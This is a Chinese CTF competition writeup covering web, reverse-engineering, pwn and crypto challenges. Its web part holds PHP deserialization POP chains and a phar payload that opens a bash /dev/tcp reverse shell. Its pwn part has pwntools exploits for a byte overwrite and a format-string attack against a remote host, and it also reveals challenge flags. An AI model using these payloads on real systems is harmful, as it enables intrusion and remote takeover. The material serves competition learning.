蓝帽杯半决赛中西部赛区第一,资深0分老划水狗,writeup整理大师、office工程师0xdawn整理
Web
杰克与肉丝
考察:php pop的寻找,直接跟着魔法函数去找。
//源代码
<?php
highlight_file(__file__);
class Jack
{
private $action;
function __set($a, $b)
{
$b->$a();
}
}
class Love {
public $var;//new Rose()
function __call($a,$b)//在对象上下文中调用不可访问的方法时触发
{
$rose = $this->var;
call_user_func($rose);
}
private function action(){
echo "jack love rose";
}
}
class Titanic{
public $people;//new Jack();
public $ship;//new Love();
function __destruct(){
$this->people->action=$this->ship;
}
}
class Rose{
public $var1;
public $var2;
function __invoke(){
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
eval($this->var1);
}
}
}
pop入口Titanic类的__destruct
方法然后,让$this->people
为new Jack();
然后让ack类的action属性为new Love()
。因为Jack类的action变量的属性为private。所以会触发__set():用于将数据写入不可访问的属性之后调用Love()类让var为new Rose()
并且触发__call()方法 在对象上下文中调用不可访问的方法时触发。之后就调用到Rose类,然后最后面的那个绕过之前考察过。使用 Exception类绕过
<?php
class Titanic{
public $people;
public $ship;
function __construct(){
$this->people = new Jack();
$this->ship = new Love();
}
}
class Love {
public $var;
function __construct(){
$this->var = new Rose();
}
}
class Jack
{
private $action;
function __set($a, $b)
{
$b->$a();
}
}
class Rose {
public $var1,$var2;
public function __construct(){
$cmd ='system("cat /flag");?>';
$ex1 = new Exception($cmd);$ex2 = new Exception($cmd,1);
$this->var1 = $ex1;
$this->var2 = $ex2;
}
}
echo urlencode(serialize(new Titanic()));
不一样的web
F12发现部分源码
class Read{
public $name;
public function file_get()
{
$text = base64_encode(file_get_contents("lib.php"));
echo $text;
}
}
class Test{
public $f;
public function __construct($value){
$this->f = $value;
}
public function __wakeup()
{
$func = $this->f;
$func();
}
}
文件上传+Checkfile功能,一看就是phar,但只能执行无参数的函数,phpinfo无flag,用::去执行函数
<?php
class Test{
public $f;
public function __construct($value){
$this->f = $value;
}
}
@unlink("phar.phar");//unlink() 函数删除文件。
$phar = new Phar("phar.phar");
$phar->startBuffering();//开始缓冲Phar写操作
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$A = new Test("Read::file_get");
echo serialize($A);
$phar->setMetadata($A);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//以字符串的形式添加一个文件到phar档案添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
拿到lib.php
<?php
error_reporting(0);
class Modifier{
public $old_id;
public $new_id;
public $p_id;
public function __construct(){
$this->old_id = "1";
$this->new_id = arrya();
$this->p_id = "1";
}
public function __get($value){
$new_id = $value;
$this->old_id = random_bytes(16);
if($this->old_id===$this->new_id){
system($this->p_id);
}
}
}
class Read{
public function file_get()
{
$text = base64_encode(file_get_contents("lib.php"));
echo $text;
}
}
class Files{
public $filename;
public function __construct($filename){
$this->filename = $this->FilesWaf($filename);
}
public function __wakeup(){
$this->FilesWaf($this->filename);
}
public function __toString(){
return $this->filename;
}
public function __destruct(){
echo "Your file is ".$this->FilesWaf($this->filename).".</br>";
}
public function FilesWaf($name){
if(stristr($name, "/")!==False){
return "index.php";
}
return $name;
}
}
class Test{
public $f;
public function __construct($value){
$this->f = $value;
}
public function __wakeup()
{
$func = $this->f;
$func();
}
}
class User{
public $name;
public $profile;
public function __construct($name){
$this->name = $this->UserWaf($name);
$this->profile = "I am admin.";
}
public function __wakeup(){
$this->UserWaf($this->name);
}
public function __toString(){
return $this->profile->name;
}
public function __destruct(){
echo "Hello ".$this->UserWaf($this->name).".</br>";
}
public function UserWaf($name){
if(strlen($name)>10){
return "admin";
}
if(!preg_match("/[a-f0-9]/iu",$name)){
return "admin";
}
return $name;
}
}
pop链
执行__toString
执行__get
但是random_bytes需要绕一下
本地测一下,可以用指针
poc
<?php
class Modifier{
public $old_id;
public $new_id ;
public $p_id = "bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'";
}
class Files{
public $filename;
}
class User{
public $name;
public $profile;
}
@unlink("phar.phar");//unlink() 函数删除文件。
$phar = new Phar("phar.phar");
$phar->startBuffering();//开始缓冲Phar写操作
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$p1 = new User;
$p2 = new User;
$p1->name = $p2;
$p3 = new Modifier;
$p2->profile = $p3;
$p3->new_id = &$p3->old_id;
// echo serialize($p1);
$phar->setMetadata($p1);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//以字符串的形式添加一个文件到phar档案添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
队友直接bash -i没有弹出来,这里需要套bash -c才行(貌似是文件描述符之类的问题,套bash -c是个好习惯)
反弹shell后发现读flag没权限,在根目录发现/game
文件
逆一下
拿到了password,之前读/etc/passwd
有一个/home/flag
用户,猜测这是它的密码,直接su flag
Re
src_leak
读代码就是了。一个开平方,一个求1-10000之前的素数个数。
from math import *
count = 0
def isPrime(n):
if n <= 1:
return False
for i in range(2, int(sqrt(n)) + 1):
if n % i == 0:
return False
return True
for i in range(1, 10001):
if isPrime(i):
count += 1
x1 = pow(963, 2)
x2 = pow(4396, 2)
x3 = pow(6666, 2)
x4 = pow(1999, 2)
x5 = pow(3141, 2)
print("flag{%d-%d-%d-%d-%d-%d}"%(x1,x2,x3,x4,x5,count))
#flag{927369-19324816-44435556-3996001-9865881-1229}
py交易
给了一个pyc文件,但进行了混淆,直接使用diss去反汇编或者uncompyle6都是会失败的。
从报错找原因:
Traceback (most recent call last):
File "test.py", line 5, in <module>
dis.dis(code)
File "/usr/lib/python2.7/dis.py", line 43, in dis
disassemble(x)
File "/usr/lib/python2.7/dis.py", line 64, in disassemble
labels = findlabels(code)
File "/usr/lib/python2.7/dis.py", line 166, in findlabels
oparg = ord(code[i]) + ord(code[i+1])*256
IndexError: string index out of range
了解学习过diss模块,可以知道这个是因为diss反汇编时对参数解析造成的错误。
好在之前接触过这个方面,写过将那个混淆无用的代码nop的脚本,直接上,然后再diss模块再反汇编:
1 0 JUMP_ABSOLUTE 670
3 NOP
4 NOP
5 NOP
6 NOP
7 NOP
8 NOP
9 NOP
10 NOP
11 NOP
3 >> 12 LOAD_FAST 0 (DIVIDER)
15 COMPARE_OP 2 (==)
18 POP_JUMP_IF_TRUE 39
9 21 LOAD_CONST 19 (1860581437)
24 LOAD_FAST 0 (DIVIDER)
27 COMPARE_OP 2 (==)
14 30 POP_JUMP_IF_TRUE 42
33 LOAD_CONST 23 (3816944324L)
36 JUMP_FORWARD 425 (to 464)
17 >> 39 JUMP_FORWARD 472 (to 514)
>> 42 JUMP_FORWARD 382 (to 427)
45 NOP
46 NOP
47 NOP
20 48 NOP
49 NOP
50 NOP
>> 51 COMPARE_OP 2 (==)
54 POP_JUMP_IF_TRUE 64
38 57 LOAD_CONST 25 (None)
60 RETURN_VALUE
61 NOP
62 NOP
63 NOP
>> 64 JUMP_FORWARD 16 (to 83)
67 NOP
68 NOP
69 NOP
70 NOP
71 NOP
72 NOP
73 NOP
74 NOP
75 NOP
>> 76 CALL_FUNCTION 1
79 JUMP_ABSOLUTE 107
>> 82 RETURN_VALUE
>> 83 STORE_NAME 0 (sys)
86 LOAD_CONST 2 (<code object str2hex at 0x7f975a931330, file "enc.py", line 3>)
89 MAKE_FUNCTION 0
92 STORE_NAME 1 (str2hex)
95 LOAD_CONST 3 (<code object hex2str at 0x7f975a931630, file "enc.py", line 9>)
98 JUMP_ABSOLUTE 110
>> 101 STORE_NAME 3 (p_s)
104 JUMP_FORWARD 145 (to 252)
>> 107 JUMP_FORWARD 563 (to 673)
>> 110 JUMP_FORWARD 274 (to 387)
113 NOP
114 NOP
115 NOP
116 NOP
117 NOP
118 NOP
119 NOP
120 NOP
>> 121 JUMP_ABSOLUTE 148
>> 124 LOAD_CONST 16 (4084147187L)
127 STORE_FAST 0 (DIVIDER)
130 JUMP_ABSOLUTE 151
>> 133 LOAD_CONST 17 (3521152606L)
136 STORE_FAST 0 (DIVIDER)
139 JUMP_ABSOLUTE 154
>> 142 LOAD_CONST 18 (651787064)
145 JUMP_FORWARD 16 (to 164)
>> 148 JUMP_FORWARD 360 (to 511)
>> 151 JUMP_FORWARD 357 (to 511)
>> 154 JUMP_FORWARD 354 (to 511)
157 NOP
158 NOP
159 NOP
160 NOP
161 NOP
162 NOP
163 NOP
>> 164 STORE_FAST 0 (DIVIDER)
167 JUMP_ABSOLUTE 197
>> 170 LOAD_CONST 19 (1860581437)
173 STORE_FAST 0 (DIVIDER)
176 JUMP_ABSOLUTE 200
>> 179 LOAD_CONST 20 (2730391645L)
182 STORE_FAST 0 (DIVIDER)
185 JUMP_ABSOLUTE 203
>> 188 LOAD_CONST 21 (2694209818L)
191 STORE_FAST 0 (DIVIDER)
194 JUMP_FORWARD 187 (to 384)
>> 197 JUMP_FORWARD 311 (to 511)
>> 200 JUMP_FORWARD 308 (to 511)
>> 203 JUMP_FORWARD 305 (to 511)
206 NOP
207 NOP
208 NOP
209 NOP
210 NOP
>> 211 POP_JUMP_IF_TRUE 238
214 LOAD_CONST 15 (3168701571L)
217 LOAD_FAST 0 (DIVIDER)
220 COMPARE_OP 2 (==)
223 POP_JUMP_IF_TRUE 241
226 LOAD_CONST 22 (3715947653L)
229 LOAD_FAST 0 (DIVIDER)
232 COMPARE_OP 2 (==)
235 JUMP_FORWARD 361 (to 599)
>> 238 JUMP_FORWARD 23 (to 264)
>> 241 JUMP_FORWARD 195 (to 439)
244 NOP
245 NOP
246 NOP
247 NOP
248 NOP
249 NOP
250 NOP
251 NOP
>> 252 LOAD_CONST 5 (<code object p_f at 0x7f975a9318b0, file "enc.py", line 17>)
255 MAKE_FUNCTION 0
258 STORE_NAME 4 (p_f)
261 JUMP_ABSOLUTE 283
>> 264 POP_TOP
265 LOAD_NAME 0 (sys)
268 LOAD_ATTR 8 (stdin)
271 LOAD_ATTR 9 (read)
274 LOAD_CONST 12 (38)
277 JUMP_ABSOLUTE 286
280 NOP
281 NOP
282 NOP
>> 283 JUMP_FORWARD 405 (to 691)
>> 286 JUMP_ABSOLUTE 133
289 NOP
290 NOP
291 NOP
292 NOP
293 NOP
294 NOP
295 NOP
296 NOP
>> 297 JUMP_ABSOLUTE 327
>> 300 MAKE_FUNCTION 0
303 STORE_NAME 2 (hex2str)
306 LOAD_CONST 4 (<code object p_s at 0x7f975a931830, file "enc.py", line 14>)
309 MAKE_FUNCTION 0
312 JUMP_ABSOLUTE 330
>> 315 LOAD_CONST 13 (4130330538L)
318 LOAD_FAST 0 (DIVIDER)
321 COMPARE_OP 2 (==)
324 JUMP_ABSOLUTE 211
>> 327 JUMP_ABSOLUTE 124
>> 330 JUMP_ABSOLUTE 142
333 NOP
334 NOP
335 NOP
336 NOP
337 NOP
338 NOP
339 NOP
>> 340 LOAD_CONST 1 (None)
343 JUMP_ABSOLUTE 370
>> 346 CALL_FUNCTION 1
349 STORE_NAME 10 (flag)
352 LOAD_NAME 5 (count)
355 LOAD_NAME 1 (str2hex)
358 JUMP_ABSOLUTE 373
>> 361 BUILD_LIST 5
364 CALL_FUNCTION 1
367 JUMP_ABSOLUTE 76
>> 370 JUMP_FORWARD 23 (to 396)
>> 373 JUMP_FORWARD 29 (to 405)
376 NOP
377 NOP
378 NOP
379 NOP
380 NOP
381 NOP
382 NOP
383 NOP
>> 384 JUMP_ABSOLUTE 414
>> 387 LOAD_CONST 22 (3715947653L)
390 STORE_FAST 0 (DIVIDER)
393 JUMP_ABSOLUTE 417
>> 396 LOAD_CONST 23 (3816944324L)
399 STORE_FAST 0 (DIVIDER)
402 JUMP_ABSOLUTE 420
>> 405 LOAD_CONST 24 (394367122)
408 STORE_FAST 0 (DIVIDER)
411 JUMP_FORWARD 94 (to 508)
>> 414 JUMP_FORWARD 94 (to 511)
>> 417 JUMP_FORWARD 91 (to 511)
>> 420 JUMP_FORWARD 88 (to 511)
423 NOP
424 NOP
425 NOP
426 NOP
>> 427 LOAD_CONST 9 (97)
430 LOAD_CONST 10 (103)
433 LOAD_CONST 11 (58)
436 JUMP_ABSOLUTE 454
>> 439 LOAD_CONST 6 (<code object count at 0x7f975a9319b0, file "enc.py", line 20>)
442 MAKE_FUNCTION 0
445 STORE_NAME 5 (count)
448 LOAD_NAME 0 (sys)
451 JUMP_ABSOLUTE 297
>> 454 JUMP_ABSOLUTE 179
457 NOP
458 NOP
459 NOP
460 NOP
461 NOP
462 NOP
463 NOP
>> 464 LOAD_FAST 0 (DIVIDER)
467 COMPARE_OP 2 (==)
470 POP_JUMP_IF_TRUE 494
473 LOAD_CONST 24 (394367122)
476 LOAD_FAST 0 (DIVIDER)
479 COMPARE_OP 2 (==)
482 POP_JUMP_IF_TRUE 497
485 LOAD_CONST 14 (1627830889)
488 LOAD_FAST 0 (DIVIDER)
491 JUMP_ABSOLUTE 51
>> 494 JUMP_ABSOLUTE 82
>> 497 JUMP_FORWARD 148 (to 648)
500 NOP
501 NOP
502 NOP
503 NOP
504 NOP
505 NOP
506 NOP
507 NOP
>> 508 JUMP_ABSOLUTE 535
>> 511 JUMP_FORWARD 24 (to 538)
>> 514 LOAD_ATTR 6 (stdout)
517 LOAD_ATTR 7 (write)
520 LOAD_NAME 2 (hex2str)
523 LOAD_CONST 7 (102)
526 LOAD_CONST 8 (108)
529 JUMP_ABSOLUTE 541
532 NOP
533 NOP
534 NOP
>> 535 JUMP_ABSOLUTE 511
>> 538 JUMP_ABSOLUTE 315
>> 541 JUMP_ABSOLUTE 170
544 NOP
545 NOP
546 NOP
547 NOP
548 NOP
549 NOP
550 NOP
551 NOP
>> 552 POP_JUMP_IF_TRUE 585
555 LOAD_CONST 17 (3521152606L)
558 LOAD_FAST 0 (DIVIDER)
561 COMPARE_OP 2 (==)
564 POP_JUMP_IF_TRUE 588
567 LOAD_CONST 20 (2730391645L)
570 LOAD_FAST 0 (DIVIDER)
573 COMPARE_OP 2 (==)
576 POP_JUMP_IF_TRUE 591
579 LOAD_CONST 16 (4084147187L)
582 JUMP_ABSOLUTE 12
>> 585 JUMP_ABSOLUTE 101
>> 588 JUMP_ABSOLUTE 346
>> 591 JUMP_ABSOLUTE 361
594 NOP
595 NOP
596 NOP
597 NOP
598 NOP
>> 599 POP_JUMP_IF_TRUE 626
602 LOAD_CONST 21 (2694209818L)
605 LOAD_FAST 0 (DIVIDER)
608 COMPARE_OP 2 (==)
611 POP_JUMP_IF_TRUE 629
614 LOAD_CONST 18 (651787064)
617 LOAD_FAST 0 (DIVIDER)
620 COMPARE_OP 2 (==)
623 JUMP_ABSOLUTE 552
>> 626 JUMP_ABSOLUTE 300
>> 629 JUMP_FORWARD 4 (to 636)
632 NOP
633 NOP
634 NOP
635 NOP
>> 636 LOAD_CONST 0 (-1)
639 LOAD_CONST 1 (None)
642 IMPORT_NAME 0 (sys)
645 JUMP_ABSOLUTE 661
>> 648 LOAD_NAME 10 (flag)
651 CALL_FUNCTION 1
654 CALL_FUNCTION 1
657 POP_TOP
658 JUMP_ABSOLUTE 340
>> 661 JUMP_FORWARD 18 (to 682)
664 NOP
665 NOP
666 NOP
667 NOP
668 NOP
669 NOP
>> 670 JUMP_FORWARD 27 (to 700)
>> 673 LOAD_CONST 13 (4130330538L)
676 STORE_FAST 0 (DIVIDER)
679 JUMP_ABSOLUTE 703
>> 682 LOAD_CONST 14 (1627830889)
685 STORE_FAST 0 (DIVIDER)
688 JUMP_ABSOLUTE 706
>> 691 LOAD_CONST 15 (3168701571L)
694 STORE_FAST 0 (DIVIDER)
697 JUMP_ABSOLUTE 121
>> 700 JUMP_ABSOLUTE 188
>> 703 JUMP_ABSOLUTE 511
>> 706 JUMP_ABSOLUTE 511
709 NOP
710 NOP
711 NOP
712 NOP
硬看!看了好一会儿,有点恶心。。。
算法大概能看出来,但操作的数据不好整理出来,然后就是想办法,找资料,反编译,去除混淆,还真有现成的资料。
去混淆后,反编译后发现算法和我读反汇编的一样。
其实就是一个将输入进行乘法和一些加法操作。
ans = input*input*a + input*b + c
最后穷举解密:
a = [13433, 4747, 17752, 33060, 31051, 48809, 29988, 6421, 20021, 38888, 24844, 20706, 11713, 34938, 12865, 6085, 37391, 32840, 31964, 27194, 8701, 48142, 27066, 28626, 37431, 39142, 46795, 21771, 44280, 40628, 35013, 18583, 5418, 4347, 43929, 9934, 46892, 19868]
b = [13711, 7074, 79833, 42654, 23241, 41412, 61795, 6373, 19304, 1363, 1682, 66279, 76134, 60748, 10355, 63484, 30491, 34005, 51393, 38029, 7241, 4998, 18562, 16935, 66677, 51321, 13771, 49108, 52166, 8851, 16900, 31682, 16684, 12046, 16764, 64315, 76742, 14022]
c = [832832835, -924053193, -307134635, -527578092, 998625960, -715102211, 3572182, -963194083, -475718185, -361574731, -678171563, 107566155, 608670527, 254218946, -81206308, -284228457, 373369420, 659110852, 165298084, -389004184, 893094421, -868933443, 44838205, -98551062, -59800920, -575871298, -748337118, 696390966, 427210246, -266607884, -555200820, -594235119, -233255094, 229291711, 711922719, 14476464, -783373820, 892608580]
e = [973988289, -867920193, -132362266, -172451190, 1471255182, -242282199, 321870424, -897049789, -428663209, -256350703, -613466537, 321254055, 641759727, 344601346, -40281788, -217030057, 476060216, 767746297, 503093626, -102198850, 984358207, -415480559, 322813233, 178032672, 48876640, -467362638, -260077296, 923436845, 536082660, -138702820, -210365307, -397666023, -215329942, 274852104, 818217684, 41479433, -632022956, 1204798830]
flag = ''
for j in range(38):
for i in range(32, 127):
if i*i*a[j]+b[j]*i+c[j] == e[j]:
flag += chr(i)
break
print(flag)
#flag{bfe043d228d49fffaeb54fe18cf8e118}
pwn
cover
checksec:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
没有开启pie,分析main函数中,存在但个字节溢出到v2,且可以实现向任意地址覆盖单个字节,我们只需把puts函数中plt位置的单字节修改指令跳转到system。下次输入调用puts就输入'sh\x00'即可获得shell。
#!/usr/bin/env python2
# Cover Scirpt
from pwn import *
elf = ELF('./pwn')
#sh = elf.process()
sh = remote('118.190.62.234', 12435)
payload = p32(elf.plt['puts'] + 2) + '\x24'
sh.send(payload)
#gdb.attach(sh)
# Get shell
sh.sendline('sh\x00')
sh.interactive()
hangman
checksec:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
字符串漏洞的利用,通过该漏洞改写main函数的返回地址为OneGadget。
#! /usr/bin/python2
from pwn import *
context.log_level = 'debug'
#sh = process('./pwn', env = {'LD_PRELOAD':'./libc-2.23.so'})
sh = remote('118.190.62.234', 33445)
libc = ELF('./libc-2.23.so')
def leak_libc():
p = '%19$p'
sh.sendlineafter(':', p)
sh.sendlineafter(':', p)
# Leak LIBC BASE
sh.recvuntil('0x')
leak = int(sh.recv(12), 16)
libc_base = leak - libc.sym['_IO_2_1_stdout_']
print('leak: ' + hex(leak))
print('libc_base: ' + hex(libc_base))
return libc_base
# Leak Stack Address
def leak_stack():
p = '%24$p'
sh.sendlineafter(':', p)
sh.sendlineafter(':', p)
sh.recvuntil('0x')
stack = int(sh.recv(12), 16) + 8
print('stack: ' + hex(stack))
#sh.recvuntil('word:')
return stack
libc_base = leak_libc()
stack = leak_stack()
sh.recvuntil('win!')
offset = 12
c1 = (libc_base + 0xf1247) & 0xff
s = '%' + str((libc_base + 0xf1247) & 0xff) + 'c%14$hhnA'
p = s
p += '\x00' * 4
p += p64(stack)
sh.sendlineafter('word:', p)
p = ''.join(set(s))
#print('payload: ' + p)
#print('unique: ' + p)
sh.sendlineafter(':', p)
c2 = ((libc_base + 0xf1247) >> 8) & 0xFFFF
s = '%' + str(c2) + 'c%14$hn'
p = s
p += '\x00' * 3
p += p64(stack + 1)
sh.sendlineafter('word:', p)
p = ''.join(set(s))
#gdb.attach(sh)
sh.sendlineafter(':', p)
sh.interactive()
Crypto
sm
题中给出了被修改了n的公钥,通过openssl读出e和fake_n
根据p的生成原理可以知道两个素数都光滑,于是考虑Pollard's p − 1
分解n
#!/usr/bin/python2
from pwn import *
import binascii
from Crypto.Util.number import bytes_to_long,long_to_bytes
import gmpy2
context.log_level = 'debug'
ip = '118.190.62.234'
port = 61139
r = remote(ip,port)
from pwn import pwnlib
from pwnlib.util.iters import mbruteforce
import hashlib
import string
table = string.ascii_letters + string.digits
r.recvuntil('XXXX+')
st = r.recvuntil(')')[:-1]
r.recvuntil(' == ')
ciphier = r.recvuntil('G')[:-2]
def f(res):
tmp = res + st
tmp = hashlib.sha256(tmp).hexdigest()
if tmp == ciphier:
return True
res = mbruteforce(f,table,4,method='fixed')
r.sendline(res)
# ----------
m1 = b'02'
m2 = b'04'
m3 = b'08'
# ------------
r.recvuntil('Enter option > ')
r.sendline('1')
r.recvuntil('Enter your plaintext in hex > ')
r.sendline(m1)
r.recvline()
n1 = '0x' + r.recvline().strip()
n1 = int(n1,16)
# ------------
r.recvuntil('Enter option > ')
r.sendline('1')
r.recvuntil('Enter your plaintext in hex > ')
r.sendline(m2)
r.recvline()
n2 = '0x' + r.recvline().strip()
n2 = int(n2,16)
# ------------
r.recvuntil('Enter option > ')
r.sendline('1')
r.recvuntil('Enter your plaintext in hex > ')
r.sendline(m3)
r.recvline()
n3 = '0x' + r.recvline().strip()
n3 = int(n3,16)
# ------------
N=gmpy2.gcd(n1*n1-n2,n1*n1*n1-n3)
r.close()
def Pollards_p_1(N):
a = 2
n = 2
while True:
a = pow(a, n, N)
res = gmpy2.gcd(a-1, N)
if res != 1 and res != N:
print 'n =', n
print 'p =', res
return res
n += 1
n = 10692664679893739061346624963756238326909832986911746671432177977106803747834808482664745066503767659342297985398473672934784214154083982701378892833624959949381593211919420949003713490334711964701876174075490998238639603875932591934027218071278526995196688532809816282613164879439054064395793103540418492601028819750817898231215515490781342362667217521611006486460470021774355363986660297005486140235347671147357347288429551570802373902314351315203691963871248380238591559213114056614371235371632060733799353705032408294405889554859476139483322273931964592871077343201918116296915049134397709997524443709019832884220802486622148127987276341842100859233579597766831078061591735155348141665023151980626921512388513676299779091204193339220987799602731968274328056958108046444484197044587876571576648161905099526406757618769384516494063549805092383328953214018195122332164730563740664245705722818506815008751691569465550951862660691258739370213781878542487435891666566514414160543282396596969430691853935887802828041224909086447462208206244058569311336469455693550763462023232696617101031002302783846517806558340968291885996058813639594795019464746186634849088956261950519343976570981323926159821885608523334734068893605509523992806520200051013
q = Pollards_p_1(n)
p = n // q
assert p*q == n
c = 0x17bb4730ef3ba7591d5ac5aba56596ea7bb5b3cac908375fed01f827a4ad246457bcf4f67be416126bc421b2ec813aca9ebed52c36734be35fd39fd450bd11831f833053743c7822094bf295d17984380d062764f31c8e8725255eec779d375ec82b76b6d8956107264fd9550d0f7407ad6531bbbc79af22cb85191171e0a79c137f180d9376cce93e9a17fb1d7ba985150f73b8d67be7e47c72bf607aa274369aaaa230078eca1bf4daa0326d46b682b1d94c651946417f7f254c1b6531df833deca73b81d9cf026c5038c8021d31fee10efb4a1f041d9180b7b489a9ce0ea12f82c67529c9088f72e84de35aa48ebfd67e7a8fcaf01b07a937bbeeab578710495abcc80f8a2a57a84d5b76e54cd58d160f6e289bf4848b9b87c7b94164fd11b3dca467074a71e02ed9ea72db34915e1276c48339ef6f4c4a9e971e69041117b6a1f2502a475dfbba83b1c61d1b7e427c0de5132f82b73b0ba839bfe4ad93cb8768596d67aa2dfb873a7589d38a89cae70203e9fdbcd2497adf563480ad03163c96be553ba5f72ad2d57358acd9ebeeb00b2a023f5a9406b5549082a618e43773b903d501bd6aab795362dc49024c2a6a17ba33d13731aea574941766dd1a52c3f3d48f9e26901d4e1c3031ba1cd63c5078bc51d3b0f310236d3d2b9e8a9fa4fa01567293e02ef22dea9d3744924f46e5f16f25ad800f3fa93a5f4c4b58c68bbac1
e = 12738859322882260979
phi = (q-1) * (p-1)
d = gmpy2.invert(e,phi)
flag = long_to_bytes(gmpy2.powmod(c,d,n))
print(flag)